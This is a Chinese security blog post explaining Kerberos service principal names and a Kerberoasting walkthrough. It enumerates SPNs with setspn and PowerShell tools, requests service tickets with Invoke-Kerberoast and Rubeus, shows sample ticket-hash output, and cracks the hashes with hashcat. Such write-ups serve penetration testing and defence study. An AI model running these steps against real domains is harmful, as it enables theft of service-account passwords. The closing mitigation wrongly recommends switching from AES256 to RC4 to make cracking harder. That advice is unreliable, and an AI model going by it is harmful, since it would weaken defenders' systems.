<!DOCTYPE html><html lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"><title>内网安全:Kerberoasting攻击和SPN服务 | Zeo's Security Lab</title><meta name="author" content="Zeo"><meta name="copyright" content="Zeo"><meta name="format-detection" content="telephone=no"><meta name="theme-color" content="ffffff"><meta name="description" content="0x01 SPNSPN（ServicePrincipal Names)服务主体名称，是服务实例(比如：HTTP、SMB、MySQL等服务)的唯一标识符。 SPN是服务器上所运行服务的唯一标识，每个使用Kerberos的服务都需要一个SPN Kerberos认证过程使用SPN将服务实例与服务登录账户相关联，如果想使用 Kerberos 协议来认证服务，那么必须正确配置SPN。如果在整个林或域中的">
<meta property="og:type" content="article">
<meta property="og:title" content="内网安全:Kerberoasting攻击和SPN服务">
<meta property="og:url" content="https://godzeo.github.io/2020/05/27/%E5%86%85%E7%BD%91%E5%AE%89%E5%85%A8!Kerberoasting%E6%94%BB%E5%87%BB%E5%92%8CSPN%E6%9C%8D%E5%8A%A1/index.html">
<meta property="og:site_name" content="Zeo&#39;s Security Lab">
<meta property="og:description" content="0x01 SPNSPN（ServicePrincipal Names)服务主体名称，是服务实例(比如：HTTP、SMB、MySQL等服务)的唯一标识符。 SPN是服务器上所运行服务的唯一标识，每个使用Kerberos的服务都需要一个SPN Kerberos认证过程使用SPN将服务实例与服务登录账户相关联，如果想使用 Kerberos 协议来认证服务，那么必须正确配置SPN。如果在整个林或域中的">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225559.webp">
<meta property="article:published_time" content="2020-05-27T02:39:59.000Z">
<meta property="article:modified_time" content="2022-11-28T12:25:22.942Z">
<meta property="article:author" content="Zeo">
<meta property="article:tag" content="WEB安全">
<meta property="article:tag" content="代码审计">
<meta property="article:tag" content="内网">
<meta property="article:tag" content="渗透">
<meta property="article:tag" content="二进制">
<meta property="article:tag" content="CTF">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225559.webp"><link rel="shortcut icon" href="/img/WX20211124-162855.png"><link rel="canonical" href="https://godzeo.github.io/2020/05/27/%E5%86%85%E7%BD%91%E5%AE%89%E5%85%A8!Kerberoasting%E6%94%BB%E5%87%BB%E5%92%8CSPN%E6%9C%8D%E5%8A%A1/"><link rel="preconnect" href="//cdn.jsdelivr.net"/><link rel="stylesheet" href="/css/index.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free/css/all.min.css" media="print" onload="this.media='all'"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.min.css" media="print" onload="this.media='all'"><script>const GLOBAL_CONFIG = { 
  root: '/',
  algolia: undefined,
  localSearch: undefined,
  translate: undefined,
  noticeOutdate: undefined,
  highlight: {"plugin":"highlighjs","highlightCopy":true,"highlightLang":true,"highlightHeightLimit":false},
  copy: {
    success: '复制成功',
    error: '复制错误',
    noSupport: '浏览器不支持'
  },
  relativeDate: {
    homepage: false,
    post: false
  },
  runtime: '',
  date_suffix: {
    just: '刚刚',
    min: '分钟前',
    hour: '小时前',
    day: '天前',
    month: '个月前'
  },
  copyright: undefined,
  lightbox: 'fancybox',
  Snackbar: undefined,
  source: {
    justifiedGallery: {
      js: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery/dist/fjGallery.min.js',
      css: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery/dist/fjGallery.min.css'
    }
  },
  isPhotoFigcaption: false,
  islazyload: false,
  isAnchor: false
}</script><script id="config-diff">var GLOBAL_CONFIG_SITE = {
  title: '内网安全:Kerberoasting攻击和SPN服务',
  isPost: true,
  isHome: false,
  isHighlightShrink: false,
  isToc: true,
  postUpdate: '2022-11-28 20:25:22'
}</script><noscript><style type="text/css">
  #nav {
    opacity: 1
  }
  .justified-gallery img {
    opacity: 1
  }

  #recent-posts time,
  #post-meta time {
    display: inline !important
  }
</style></noscript><script>(win=>{
    win.saveToLocal = {
      set: function setWithExpiry(key, value, ttl) {
        if (ttl === 0) return
        const now = new Date()
        const expiryDay = ttl * 86400000
        const item = {
          value: value,
          expiry: now.getTime() + expiryDay,
        }
        localStorage.setItem(key, JSON.stringify(item))
      },

      get: function getWithExpiry(key) {
        const itemStr = localStorage.getItem(key)

        if (!itemStr) {
          return undefined
        }
        const item = JSON.parse(itemStr)
        const now = new Date()

        if (now.getTime() > item.expiry) {
          localStorage.removeItem(key)
          return undefined
        }
        return item.value
      }
    }
  
    win.getScript = url => new Promise((resolve, reject) => {
      const script = document.createElement('script')
      script.src = url
      script.async = true
      script.onerror = reject
      script.onload = script.onreadystatechange = function() {
        const loadState = this.readyState
        if (loadState && loadState !== 'loaded' && loadState !== 'complete') return
        script.onload = script.onreadystatechange = null
        resolve()
      }
      document.head.appendChild(script)
    })
  
      win.activateDarkMode = function () {
        document.documentElement.setAttribute('data-theme', 'dark')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#0d0d0d')
        }
      }
      win.activateLightMode = function () {
        document.documentElement.setAttribute('data-theme', 'light')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', 'ffffff')
        }
      }
      const t = saveToLocal.get('theme')
    
          if (t === 'dark') activateDarkMode()
          else if (t === 'light') activateLightMode()
        
      const asideStatus = saveToLocal.get('aside-status')
      if (asideStatus !== undefined) {
        if (asideStatus === 'hide') {
          document.documentElement.classList.add('hide-aside')
        } else {
          document.documentElement.classList.remove('hide-aside')
        }
      }
    
    const detectApple = () => {
      if(/iPad|iPhone|iPod|Macintosh/.test(navigator.userAgent)){
        document.documentElement.classList.add('apple')
      }
    }
    detectApple()
    })(window)</script><meta name="generator" content="Hexo 6.3.0"><link rel="alternate" href="/atom.xml" title="Zeo's Security Lab" type="application/atom+xml">
</head><body><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="avatar-img is-center"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231013354.png" onerror="onerror=null;src='/img/friend_404.gif'" alt="avatar"/></div><div class="sidebar-site-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">125</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><hr/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div><div class="menus_item"><a class="site-page group" href="javascript:void(0);"><i class="fa-fw fas fa-list"></i><span> List</span><i class="fas fa-chevron-down"></i></a><ul class="menus_item_child"><li><a class="site-page child" href="/music/"><i class="fa-fw fas fa-music"></i><span> Music</span></a></li><li><a class="site-page child" href="/movies/"><i class="fa-fw fas fa-video"></i><span> Movie</span></a></li></ul></div><div class="menus_item"><a class="site-page" href="/about/"><i class="fa-fw fas fa-heart"></i><span> About</span></a></div></div></div></div><div class="post" id="body-wrap"><header class="post-bg" id="page-header" style="background-image: url('https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225559.webp')"><nav id="nav"><span id="blog_name"><a id="site-name" href="/">Zeo's Security Lab</a></span><div id="menus"><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div><div class="menus_item"><a class="site-page group" href="javascript:void(0);"><i class="fa-fw fas fa-list"></i><span> List</span><i class="fas fa-chevron-down"></i></a><ul class="menus_item_child"><li><a class="site-page child" href="/music/"><i class="fa-fw fas fa-music"></i><span> Music</span></a></li><li><a class="site-page child" href="/movies/"><i class="fa-fw fas fa-video"></i><span> Movie</span></a></li></ul></div><div class="menus_item"><a class="site-page" href="/about/"><i class="fa-fw fas fa-heart"></i><span> About</span></a></div></div><div id="toggle-menu"><a class="site-page"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="post-info"><h1 class="post-title">内网安全:Kerberoasting攻击和SPN服务</h1><div id="post-meta"><div class="meta-firstline"><span class="post-meta-date"><i class="far fa-calendar-alt fa-fw post-meta-icon"></i><span class="post-meta-label">发表于</span><time class="post-meta-date-created" datetime="2020-05-27T02:39:59.000Z" title="发表于 2020-05-27 10:39:59">2020-05-27</time><span class="post-meta-separator">|</span><i class="fas fa-history fa-fw post-meta-icon"></i><span class="post-meta-label">更新于</span><time class="post-meta-date-updated" datetime="2022-11-28T12:25:22.942Z" title="更新于 2022-11-28 20:25:22">2022-11-28</time></span><span class="post-meta-categories"><span class="post-meta-separator">|</span><i class="fas fa-inbox fa-fw post-meta-icon"></i><a class="post-meta-categories" href="/categories/%E5%86%85%E7%BD%91%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/">内网安全研究</a></span></div><div class="meta-secondline"></div></div></div></header><main class="layout" id="content-inner"><div id="post"><article class="post-content" id="article-container"><span id="more"></span>

<h1 id="0x01-SPN"><a href="#0x01-SPN" class="headerlink" title="0x01 SPN"></a>0x01 SPN</h1><p>SPN（ServicePrincipal Names)服务主体名称，是服务实例(比如：HTTP、SMB、MySQL等服务)的唯一标识符。</p>
<p>SPN是服务器上所运行服务的唯一标识，每个使用Kerberos的服务都需要一个SPN</p>
<p>Kerberos认证过程使用SPN将服务实例与服务登录账户相关联，如果想使用 Kerberos 协议来认证服务，那么必须正确配置SPN。如果在整个林或域中的计算机上安装多个服务实例，则每个实例都必须具有自己的 SPN</p>
<p>SPN分为两种，一种注册在AD上机器帐户(Computers)下，另一种注册在域用户帐户(Users)下</p>
<p>当一个服务的权限为<code>Local System</code>或<code>Network Service</code>，则SPN注册在机器帐户(Computers)下</p>
<p>当一个服务的权限为一个域用户，则SPN注册在域用户帐户(Users)下</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA1MTgxNDM2MzIucG5n?x-oss-process=image/format,png" alt="image-20200518143632006"></p>
<h1 id="0x02-SPN发现"><a href="#0x02-SPN发现" class="headerlink" title="0x02 SPN发现"></a>0x02 SPN发现</h1><p>由于每台服务器都需要注册用于Kerberos身份验证服务的SPN</p>
<p>所以这是一个更加隐蔽的方法来收集有关内网域环境的信息</p>
<h2 id="查询SPN服务，内网探测"><a href="#查询SPN服务，内网探测" class="headerlink" title="查询SPN服务，内网探测"></a>查询SPN服务，内网探测</h2><p>对域控制器发起LDAP查询，这是正常kerberos票据行为的一部分，因此查询SPN的操作很难被检测</p>
<h3 id="使用SetSPN"><a href="#使用SetSPN" class="headerlink" title="使用SetSPN"></a>使用SetSPN</h3><p>Win7和Windows Server2008自带的工具</p>
<p>查看当前域内的所有SPN：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">setspn.exe -q */*</span><br></pre></td></tr></table></figure>

<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA1MTgxNDMyMjcucG5n?x-oss-process=image/format,png" alt="image-20200518143227803"></p>
<p>查看test域内的所有SPN：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">setspn.exe -T test -q */*</span><br></pre></td></tr></table></figure>

<p>[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yd2XpX1l-1590547189992)(<a target="_blank" rel="noopener" href="https://gitee.com/godzeo/blogimg/raw/master/img/20200518143251.png/)/]">https://gitee.com/godzeo/blogimg/raw/master/img/20200518143251.png\)\]</a></p>
<p>以CN开头的每一行代表一个帐户，其下的信息是与该帐户相关联的SPN</p>
<p>有三个：</p>
<p>域控制器：</p>
<p>CN&#x3D;DC,OU&#x3D;Domain Controllers,DC&#x3D;sun,DC&#x3D;com</p>
<p>域用户帐户：</p>
<p>CN&#x3D;krbtgt,CN&#x3D;Users,DC&#x3D;sun,DC&#x3D;com</p>
<p>机器帐户：</p>
<p>CN&#x3D;WIN7,CN&#x3D;Computers,DC&#x3D;sun,DC&#x3D;com</p>
<p>其他命令：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">查看当前域内所有的SPN：setspn  -Q  */*</span><br><span class="line">查看指定域xie.com注册的SPN：setspn -T sun.com -Q */*      如果指定域不存在，则默认切换到查找本域的SPN</span><br><span class="line">查找本域内重复的SPN：setspn -X</span><br><span class="line">删除指定SPN：setspn -D MySQL/win7.xie.com:1433/MSSQL hack</span><br><span class="line">查找指定用户/主机名注册的SPN：setspn -L username/hostname</span><br></pre></td></tr></table></figure>

<h3 id="使用PowerShell脚本"><a href="#使用PowerShell脚本" class="headerlink" title="使用PowerShell脚本"></a>使用PowerShell脚本</h3><ul>
<li>PowerShell-AD-Recon</li>
</ul>
<p>该工具包提供了一些探测指定SPN的脚本，例如Exchange，Microsoft SQLServer等</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#扫描域中所有的SPN信息</span><br><span class="line">Import-Module .\Discover-PSInterestingServices.ps1;Discover-PSInterestingServices</span><br></pre></td></tr></table></figure>

<ul>
<li>GetUserSPNs.ps1</li>
</ul>
<p>Kerberoast 工具集中的一个 powershell 脚本，用来查询域内用户注册的 SPN</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Import-Module .\GetUserSPNs.ps1</span><br></pre></td></tr></table></figure>

<ul>
<li>PowerView.ps1</li>
</ul>
<p>PowerView是 PowerSpolit 中 Recon目录下的一个powershell脚本，返回的信息比较详细。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Import-Module .\PowerView.ps1Get-NetUser -SPN</span><br></pre></td></tr></table></figure>

<h1 id="0x03-Kerberoasting攻击"><a href="#0x03-Kerberoasting攻击" class="headerlink" title="0x03 Kerberoasting攻击"></a>0x03 Kerberoasting攻击</h1><h2 id="0x031基于Kerberos认证的原理："><a href="#0x031基于Kerberos认证的原理：" class="headerlink" title="0x031基于Kerberos认证的原理："></a>0x031基于Kerberos认证的原理：</h2><p>基于Kerberos认证，具体认证过程可以参考我之前的文章</p>
<p>[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q5UTmw4K-1590547189994)(<a target="_blank" rel="noopener" href="https://gitee.com/godzeo/blogimg/raw/master/img/20200527100825.png/)/]">https://gitee.com/godzeo/blogimg/raw/master/img/20200527100825.png\)\]</a></p>
<p>1、用户将AS-REQ数据包发送给KDC（Key Distribution Centre，密钥分发中心，此处为域控），进行身份认证。</p>
<p>2、KDC验证用户的凭据，如果凭据有效，则返回TGT（Ticket-Granting Ticket，票据授予票据）。</p>
<p>3、如果用户想通过身份认证，访问某个服务（如IIS），那么他需要发起（Ticket Granting Service，票据授予服务）请求，请求中包含TGT以及所请求服务的SPN（Service Principal Name，服务主体名称）。</p>
<p>4、如果TGT有效并且没有过期，TGS会创建用于目标服务的一个服务票据。服务票据使用服务账户的凭据进行加密。</p>
<p>5、用户收到包含加密服务票据的TGS响应数据包。</p>
<p>6、最后，服务票据会转发给目标服务，然后使用服务账户的凭据进行解密。</p>
<p>整个过程比较简单，我们需要注意的是，服务票据会使用服务账户的哈希进行加密，这样一来，Windows域中任何经过身份验证的用户都可以从TGS处请求服务票据，然后离线暴力破解。</p>
<h2 id="0x032利用思路"><a href="#0x032利用思路" class="headerlink" title="0x032利用思路"></a>0x032利用思路</h2><h4 id="域内的任何用户都可以向域内的任何服务请求TGS"><a href="#域内的任何用户都可以向域内的任何服务请求TGS" class="headerlink" title="域内的任何用户都可以向域内的任何服务请求TGS"></a>域内的任何用户都可以向域内的任何服务请求TGS</h4><p>域内的任何一台主机，都能够通过查询SPN，向域内的所有服务请求TGS，拿到TGS后对其进行暴力破解</p>
<p>对于破解出的明文口令，只有域用户帐户(Users)的口令存在价值，不必考虑机器帐户的口令(无法用于远程连接)</p>
<p>因此，高效率的利用思路如下：</p>
<ol>
<li>查询SPN，找到有价值的SPN，需要满足以下条件：<ul>
<li>该SPN注册在域用户帐户(Users)下</li>
<li>域用户账户的权限很高</li>
</ul>
</li>
<li>请求TGS</li>
<li>导出TGS</li>
<li>暴力破解</li>
</ol>
<h2 id="0x033利用方法"><a href="#0x033利用方法" class="headerlink" title="0x033利用方法"></a>0x033利用方法</h2><h3 id="一、自动实现，并且不需要mimikatz，普通用户权限即可"><a href="#一、自动实现，并且不需要mimikatz，普通用户权限即可" class="headerlink" title="一、自动实现，并且不需要mimikatz，普通用户权限即可"></a>一、自动实现，并且不需要mimikatz，普通用户权限即可</h3><p>使用<code>System.IdentityModel.Tokens.KerberosRequestorSecurityToken</code>请求TGS，在返回结果中提取出TGS，输出的TGS可选择John the Ripper或Hashcat进行破解</p>
<p>实例演示：</p>
<p>在域内一台主机上以普通用户权限执行：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">import-module .\Invoke-Kerberoast.ps1</span><br><span class="line">Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl</span><br></pre></td></tr></table></figure>

<p>只提取出hash的参数如下：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation</span><br></pre></td></tr></table></figure>

<p>使用hashcat破解的参数如下：</p>
<p>将导出的hashcat格式的哈希保存为hash.txt文件，放到hashcat的目录下</p>
<figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hashcat64<span class="selector-class">.exe</span> -m <span class="number">13100</span> hash<span class="selector-class">.txt</span> pass<span class="selector-class">.txt</span></span><br></pre></td></tr></table></figure>

<h3 id="二、使用-Rubeus"><a href="#二、使用-Rubeus" class="headerlink" title="二、使用 Rubeus"></a>二、使用 Rubeus</h3><p><a target="_blank" rel="noopener" href="https://github.com/GhostPack/Rubeus">https://github.com/GhostPack/Rubeus</a></p>
<p>使用：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Rubeus.exe kerberoast</span><br></pre></td></tr></table></figure>

<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">C:\Rubeus&gt;Rubeus.exe kerberoast</span><br><span class="line"></span><br><span class="line"> ______        _</span><br><span class="line">(_____ \      | |</span><br><span class="line"> _____) )_   _| |__  _____ _   _  ___</span><br><span class="line">|  __  /| | | |  _ \| ___ | | | |/___)</span><br><span class="line">| |  \ \| |_| | |_) ) ____| |_| |___ |</span><br><span class="line">|_|   |_|____/|____/|_____)____/(___/</span><br><span class="line"></span><br><span class="line">v1.5.0</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">[*] Action: Kerberoasting</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">[*] SamAccountName         : zeo</span><br><span class="line">[*] DistinguishedName      : CN=harmj0y,CN=Users,DC=zeolab,DC=local</span><br><span class="line">[*] ServicePrincipalName   : asdf/asdfasdf</span><br><span class="line">[*] Hash                   : $krb5tgs$23$*$zeolab.local$asdf/asdfasdf*$AE5F019D4CDED6CD74830CC......</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">[*] SamAccountName         : sqlservice</span><br><span class="line">[*] DistinguishedName      : CN=SQL,CN=Users,DC=zeolab,DC=local</span><br><span class="line">[*] ServicePrincipalName   : MSSQLSvc/SQL.zeolab.local</span><br><span class="line">[*] Hash                   : $krb5tgs$23$*$testlab.local$MSSQLSvc/SQL.zeolab.local*$E2B3869290......</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<h2 id="0x034离线破解服务票据"><a href="#0x034离线破解服务票据" class="headerlink" title="0x034离线破解服务票据"></a>0x034离线破解服务票据</h2><p>将哈希保存为hash.txt文件，放到hashcat的目录下</p>
<figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hashcat64<span class="selector-class">.exe</span> -m <span class="number">13100</span> hash<span class="selector-class">.txt</span> pass<span class="selector-class">.txt</span></span><br></pre></td></tr></table></figure>

<h1 id="0x04-Kerberoast攻击防范"><a href="#0x04-Kerberoast攻击防范" class="headerlink" title="0x04 Kerberoast攻击防范"></a>0x04 Kerberoast攻击防范</h1><ul>
<li>将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5，增加破解难度</li>
<li>保证服务密码本身为强密码，关键是提高密码的强度。</li>
</ul>
</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="https://godzeo.github.io">Zeo</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="https://godzeo.github.io/2020/05/27/%E5%86%85%E7%BD%91%E5%AE%89%E5%85%A8!Kerberoasting%E6%94%BB%E5%87%BB%E5%92%8CSPN%E6%9C%8D%E5%8A%A1/">https://godzeo.github.io/2020/05/27/%E5%86%85%E7%BD%91%E5%AE%89%E5%85%A8!Kerberoasting%E6%94%BB%E5%87%BB%E5%92%8CSPN%E6%9C%8D%E5%8A%A1/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://godzeo.github.io" target="_blank">Zeo's Security Lab</a>！</span></div></div><div class="tag_share"><div class="post-meta__tag-list"></div><div class="post_share"><div class="social-share" data-image="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225559.webp" data-sites="facebook,twitter,wechat,weibo,qq"></div><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/butterfly-extsrc/sharejs/dist/css/share.min.css" media="print" onload="this.media='all'"><script src="https://cdn.jsdelivr.net/npm/butterfly-extsrc/sharejs/dist/js/social-share.min.js" defer></script></div></div><nav class="pagination-post" id="pagination"><div class="prev-post pull-left"><a href="/2020/06/03/%E7%BA%A2%E9%98%9F%E6%AD%A6%E5%99%A8%E5%BA%93-Apache%20Shiro%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/"><img class="prev-cover" src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp" onerror="onerror=null;src='/img/404.jpg'" alt="cover of previous post"><div class="pagination-info"><div class="label">上一篇</div><div class="prev_info">红队武器库-Apache Shiro 反序列化漏洞</div></div></a></div><div class="next-post pull-right"><a href="/2020/05/25/%E7%83%82%E5%9C%9F%E8%B1%86Juicypotato%E6%8F%90%E6%9D%83%E5%8E%9F%E7%90%86%E5%92%8C%E5%88%A9%E7%94%A8/"><img class="next-cover" src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225569.webp" onerror="onerror=null;src='/img/404.jpg'" alt="cover of next post"><div class="pagination-info"><div class="label">下一篇</div><div class="next_info">烂土豆Juicypotato提权原理和利用</div></div></a></div></nav></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231013354.png" onerror="this.onerror=null;this.src='/img/friend_404.gif'" alt="avatar"/></div><div class="author-info__name">Zeo</div><div class="author-info__description">专注于安全,分享生活,分享知识</div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">125</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/godzeo"><i class="fab fa-github"></i><span>Follow Me</span></a><div class="card-info-social-icons is-center"><a class="social-icon" href="https://github.com/godzeo" target="_blank" title="Github"><i class="fab fa-github"></i></a><a class="social-icon" href="mailto:zzzhhhaaaiiii@gmail.com" target="_blank" title="Email"><i class="fas fa-envelope"></i></a></div></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">Weclome my blog</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#0x01-SPN"><span class="toc-number">1.</span> <span class="toc-text">0x01 SPN</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x02-SPN%E5%8F%91%E7%8E%B0"><span class="toc-number">2.</span> <span class="toc-text">0x02 SPN发现</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9F%A5%E8%AF%A2SPN%E6%9C%8D%E5%8A%A1%EF%BC%8C%E5%86%85%E7%BD%91%E6%8E%A2%E6%B5%8B"><span class="toc-number">2.1.</span> <span class="toc-text">查询SPN服务，内网探测</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BD%BF%E7%94%A8SetSPN"><span class="toc-number">2.1.1.</span> <span class="toc-text">使用SetSPN</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BD%BF%E7%94%A8PowerShell%E8%84%9A%E6%9C%AC"><span class="toc-number">2.1.2.</span> <span class="toc-text">使用PowerShell脚本</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x03-Kerberoasting%E6%94%BB%E5%87%BB"><span class="toc-number">3.</span> <span class="toc-text">0x03 Kerberoasting攻击</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#0x031%E5%9F%BA%E4%BA%8EKerberos%E8%AE%A4%E8%AF%81%E7%9A%84%E5%8E%9F%E7%90%86%EF%BC%9A"><span class="toc-number">3.1.</span> <span class="toc-text">0x031基于Kerberos认证的原理：</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x032%E5%88%A9%E7%94%A8%E6%80%9D%E8%B7%AF"><span class="toc-number">3.2.</span> <span class="toc-text">0x032利用思路</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E5%9F%9F%E5%86%85%E7%9A%84%E4%BB%BB%E4%BD%95%E7%94%A8%E6%88%B7%E9%83%BD%E5%8F%AF%E4%BB%A5%E5%90%91%E5%9F%9F%E5%86%85%E7%9A%84%E4%BB%BB%E4%BD%95%E6%9C%8D%E5%8A%A1%E8%AF%B7%E6%B1%82TGS"><span class="toc-number">3.2.0.1.</span> <span class="toc-text">域内的任何用户都可以向域内的任何服务请求TGS</span></a></li></ol></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x033%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95"><span class="toc-number">3.3.</span> <span class="toc-text">0x033利用方法</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%B8%80%E3%80%81%E8%87%AA%E5%8A%A8%E5%AE%9E%E7%8E%B0%EF%BC%8C%E5%B9%B6%E4%B8%94%E4%B8%8D%E9%9C%80%E8%A6%81mimikatz%EF%BC%8C%E6%99%AE%E9%80%9A%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%E5%8D%B3%E5%8F%AF"><span class="toc-number">3.3.1.</span> <span class="toc-text">一、自动实现，并且不需要mimikatz，普通用户权限即可</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BA%8C%E3%80%81%E4%BD%BF%E7%94%A8-Rubeus"><span class="toc-number">3.3.2.</span> <span class="toc-text">二、使用 Rubeus</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x034%E7%A6%BB%E7%BA%BF%E7%A0%B4%E8%A7%A3%E6%9C%8D%E5%8A%A1%E7%A5%A8%E6%8D%AE"><span class="toc-number">3.4.</span> <span class="toc-text">0x034离线破解服务票据</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" 